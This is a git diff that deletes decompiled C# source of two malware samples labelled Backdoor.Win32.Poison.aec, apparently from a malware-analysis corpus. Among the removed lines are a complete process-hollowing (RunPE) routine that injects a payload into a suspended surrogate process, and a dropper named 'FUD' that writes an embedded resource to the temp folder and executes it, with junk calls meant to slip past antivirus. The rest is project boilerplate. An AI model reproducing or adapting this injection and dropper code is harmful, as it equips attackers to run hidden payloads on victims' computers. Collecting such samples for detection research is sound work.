b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MyProject.cs deleted file mode 100644 index 31acc500..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MySettings.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MySettings.cs deleted file mode 100644 index fb0495b4..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MySettings.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default => MySettings.defaultInstance; - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MySettingsProperty.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MySettingsProperty.cs deleted file mode 100644 index 302abe80..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/Resources/Resources.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/Resources/Resources.cs deleted file mode 100644 index 74f6c4fa..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Resources.resx b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/x86.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/x86.cs deleted file mode 100644 index 3f3a932d..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.CreateProcess((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.GetThreadContext(pInfo[1], ctxt) && x86.Win32.ReadProcessMemory(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.NtUnmapViewOfSection(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.VirtualAllocEx(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.WriteProcessMemory(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.VirtualProtectEx(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; - ref IntPtr local = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.SetThreadContext(pInfo[1], ctxt); - } - x86.Win32.ResumeThread(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool CreateProcess( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool ReadProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int ResumeThread(IntPtr hThr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool SetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr VirtualAllocEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool VirtualProtectEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool WriteProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/AssemblyInfo.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/AssemblyInfo.cs deleted file mode 100644 index eddc67a4..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCopyright("Copyright © 1907 2011")] -[assembly: AssemblyTitle("FUD")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyProduct("FUD")] -[assembly: AssemblyCompany("1907")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("7aa9f012-f8f7-4835-af23-c23f7bce6890")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Backdoor.Win32.Poison.aec.csproj b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Backdoor.Win32.Poison.aec.csproj deleted file mode 100644 index f261a4b2..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Backdoor.Win32.Poison.aec.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {7965BD14-FD86-475A-AA6B-3F745DF524C0} - WinExe - FUD - 1.0.0.0 - FUD - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Backdoor.Win32.Poison.aec.sln b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Backdoor.Win32.Poison.aec.sln deleted file mode 100644 index 030e95e1..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Backdoor.Win32.Poison.aec.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FUD", "Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.csproj", "{7965BD14-FD86-475A-AA6B-3F745DF524C0}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {7965BD14-FD86-475A-AA6B-3F745DF524C0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {7965BD14-FD86-475A-AA6B-3F745DF524C0}.Debug|Any CPU.Build.0 = Debug|Any CPU - {7965BD14-FD86-475A-AA6B-3F745DF524C0}.Release|Any CPU.ActiveCfg = Release|Any CPU - {7965BD14-FD86-475A-AA6B-3F745DF524C0}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Form1.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Form1.cs deleted file mode 100644 index bc56bbe7..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Form1.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: FUD.Form1 -// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe - -using FUD.My; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Windows.Forms; - -namespace FUD -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - - [DebuggerNonUserCode] - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(292, 266); - this.Name = nameof (Form1); - this.Text = nameof (Form1); - this.ResumeLayout(false); - } - - private void Form1_Load(object sender, EventArgs e) - { - try - { - MyProject.Computer.Network.Ping(MyProject.Computer.Name); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - MyProject.Computer.Name.Substring(0, 1); - ProjectData.ClearProjectError(); - } - string randomFileName = Path.GetRandomFileName(); - try - { - MyProject.Computer.Network.Ping(MyProject.Computer.Name); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - MyProject.Computer.Name.Substring(0, 1); - ProjectData.ClearProjectError(); - } - File.WriteAllBytes(Path.GetTempPath() + "\\" + randomFileName, FUD.My.Resources.Resources.nevv); - try - { - MyProject.Computer.Network.Ping(MyProject.Computer.Name); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - MyProject.Computer.Name.Substring(0, 1); - ProjectData.ClearProjectError(); - } - Interaction.Shell(Path.GetTempPath() + "\\" + randomFileName); - try - { - MyProject.Computer.Network.Ping(MyProject.Computer.Name); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - MyProject.Computer.Name.Substring(0, 1); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Form1.resx b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MyApplication.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MyApplication.cs deleted file mode 100644 index 3f0f8ddf..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: FUD.My.MyApplication -// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace FUD.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [STAThread] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MyComputer.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MyComputer.cs deleted file mode 100644 index fa2d17e2..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: FUD.My.MyComputer -// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace FUD.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - 